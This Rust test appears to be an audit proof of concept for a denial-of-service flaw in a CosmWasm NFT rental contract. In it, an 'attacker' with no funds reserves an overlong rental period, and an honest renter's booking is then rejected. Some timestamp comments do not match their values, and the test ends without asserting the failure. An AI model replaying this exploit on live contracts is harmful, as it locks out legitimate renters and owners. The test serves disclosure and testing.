#[test]
fn m2_long_term_rental_denial_of_service(){
    let (mut app, contract_addr) = mock_app_init_contract();
    
    // Minter mints a new token
    execute_mint(&mut app, &contract_addr, MINTER, TOKEN_ID);

    // Minter lists token for long-term rental
    let list_long_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForLongTermRental { 
        token_id: TOKEN_ID.to_string(),
        denom: USDC.to_string(),
        price_per_month: 1000,
        auto_approve: true,
        available_period: vec![0.to_string(),1640995200.to_string()], // 1 year availability
        minimum_stay: 0,
        cancellation: vec![],
    };
    let res = app.execute_contract(
        Addr::unchecked(MINTER), 
        contract_addr.clone(), 
        &list_long_term_rental_msg, 
        &[]
    );
    assert!(res.is_ok()); // Everything is ok

    const ATTACKER: &str = "attacker";
    // Asserts that Attacker has no prior balance
    assert_eq!(query_usdc_balance(&app, ATTACKER), 0);
    // Attacker makes a reservation over multiple span of renting periods
    let reserve_long_term_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetReservationForLongTerm { 
        token_id: TOKEN_ID.to_string(),
        renting_period: vec![1.to_string(), 1928640800.to_string()],
        guests: 1,
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER), 
        contract_addr.clone(), 
        &reserve_long_term_msg, 
        &[]
    );
    assert!(res.is_ok()); // Everything is ok

    const RENTER: &str = "renter";
    // Honest renter tries to make a reservation for 7-12-2024 10:00 to 11-12-2024 10:00
    let reserve_long_term_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetReservationForLongTerm { 
        token_id: TOKEN_ID.to_string(),
        renting_period: vec![1728295200.to_string(), 1728640800.to_string()],
        guests: 1,
    };
    let res = app.execute_contract(
        Addr::unchecked(RENTER), 
        contract_addr.clone(), 
        &reserve_long_term_msg, 
        &[]
    );
    // The transaction fails from Unavailable Period as it's already reserved for Attacker
    println!("{:?}", res);

}
